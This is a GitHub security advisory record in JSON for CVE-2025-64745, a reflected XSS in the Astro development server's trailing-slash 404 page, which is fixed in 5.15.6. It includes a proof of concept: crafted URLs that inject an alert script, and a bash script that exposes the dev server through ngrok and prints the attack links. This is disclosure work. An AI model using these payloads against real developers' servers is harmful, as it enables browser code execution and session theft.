{"id":"GHSA-w2vj-39qv-7vh7","summary":"Astro development server error page is vulnerable to reflected Cross-site Scripting","details":"## Summary\n\nA Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the `trailingSlash` configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.\n\n## Details\n\n### Vulnerability Location\n\nhttps://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149\n\n### Root Cause\n\nThe vulnerability was introduced in commit `536175528` (PR #12994) , as part of a feature to \"redirect trailing slashes on on-demand rendered pages.\" The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.\n\n**Issue**: The `corrected` variable, which is derived from the user-controlled `pathname` parameter, is directly interpolated into the HTML without proper escaping. While the `pathname` variable itself is escaped elsewhere in the same file (line 114: `escape(pathname)`), the `corrected` variable is not sanitized before being inserted into both the `href` attribute and the link text.\n\n### Attack Vector\n\nWhen a developer has configured `trailingSlash` to `'always'` or `'never'` and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.\n\n## PoC\n\n### Local Testing (localhost)\n\nBasic vulnerability verification in local development environment\n\n\u003cdetails\u003e\n\u003csummary\u003eShow details\u003c/summary\u003e\n\n`astro.config.mjs`:\n```javascript\nimport { defineConfig } from 'astro/config';\n\nexport default defineConfig({\n  trailingSlash: 'never', // or 'always'\n  server: {\n    port: 3000,\n    host: true\n  }\n});\n```\n\n`package.json`:\n```json\n{\n  \"name\": \"astro-xss-poc-victim\",\n  \"version\": \"0.1.0\",\n  \"scripts\": {\n    \"dev\": \"astro dev\"\n  },\n  \"dependencies\": {\n    \"astro\": \"5.15.5\"\n  }\n}\n```\n\nStart the development server:\n```bash\nnpm install\nnpm run dev\n```\n\nAccess the following malicious URL depending on your configuration:\n\n**For `trailingSlash: 'never'`** (requires trailing slash):\n```\nhttp://localhost:3000/\"\u003e\u003c/code\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c!--/\n```\n\n**For `trailingSlash: 'always'`** (no trailing slash):\n```\nhttp://localhost:3000/\"\u003e\u003c/code\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c!--\n```\n\nWhen accessing the malicious URL:\n1. The development server returns a 404 page due to trailing slash mismatch\n2. The JavaScript payload (`alert(document.domain)`) executes in the browser\n3. An alert dialog appears, demonstrating arbitrary code execution\n\n\u003c/details\u003e\n\n### Remote Testing (ngrok)\n\nReproduce realistic attack scenario via external malicious link\n\n\u003cdetails\u003e\n\u003csummary\u003eShow details\u003c/summary\u003e\n\nPrerequisites: ngrok account and authtoken configured (`ngrok config add-authtoken \u003ckey\u003e`)\n\nSetup and Execution:\n```bash\n#!/bin/bash\nset -e\n\nmkdir -p logs\n\nnpm i\nnpm run dev \u003e ./logs/victim.log 2\u003e&1 &\n\nngrok http 3000 \u003e ./logs/ngrok.log 2\u003e&1 &\n\nsleep 3\n\nNGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '\"public_url\":\"https://[^\"]*' | head -1 | cut -d'\"' -f4)\necho \"\"\necho \"=== Attack URLs ===\"\necho \"\"\necho \"For trailingSlash: 'never' (requires trailing slash):\"\necho \"${NGROK_URL}/\\\"\u003e\u003c/code\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c!--/\"\necho \"\"\necho \"For trailingSlash: 'always' (no trailing slash):\"\necho \"${NGROK_URL}/\\\"\u003e\u003c/code\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c!--\"\necho \"\"\nwait\n```\n\nWhen a remote user accesses either of the generated attack URLs:\n1. The request is tunneled through ngrok to the local development server\n2. The development server returns a 404 page due to trailing slash mismatch\n3. The JavaScript payload (`alert(document.domain)`) executes in the user's browser\n\nBoth URL patterns work depending on your `trailingSlash` configuration ('never' or 'always').\n\n\u003c/details\u003e\n\n## Impact\n\nThis only affects the **development server**. Risk depends on how and where the dev server is exposed.\n\n### Security impact\n\n* **Developer environment compromise**: Visiting a crafted URL can run arbitrary JS in the developer's browser.\n* **Session hijacking**: Active developer sessions can be stolen if services are open in the browser.\n* **Local resource access**: JS may probe `localhost` endpoints or dev tools depending on browser policies.\n* **Supply-chain risk**: Malicious packages or CI that start dev servers can widen exposure.\n\n### Attack scenarios\n\n* **Social engineering**: Malicious link sent to a developer triggers the XSS when opened.\n* **Malicious documentation**: Attack URLs embedded in issues, PRs, chat, or docs.\n* **Dependency/CI abuse**: Packages or automation that spawn public dev servers expose many targets.","aliases":["CVE-2025-64745"],"modified":"2025-11-27T08:22:31.471739Z","published":"2025-11-13T22:38:30Z","database_specific":{"cwe_ids":["CWE-79"],"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2025-11-13T22:38:30Z","nvd_published_at":"2025-11-13T21:15:54Z"},"references":[{"type":"WEB","url":"https://github.com/withastro/astro/security/advisories/GHSA-w2vj-39qv-7vh7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64745"},{"type":"WEB","url":"https://github.com/withastro/astro/pull/12994"},{"type":"WEB","url":"https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91"},{"type":"PACKAGE","url":"https://github.com/withastro/astro"},{"type":"WEB","url":"https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149"}],"affected":[{"package":{"name":"astro","ecosystem":"npm","purl":"pkg:npm/astro"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.2.0"},{"fixed":"5.15.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/11/GHSA-w2vj-39qv-7vh7/GHSA-w2vj-39qv-7vh7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N"}]}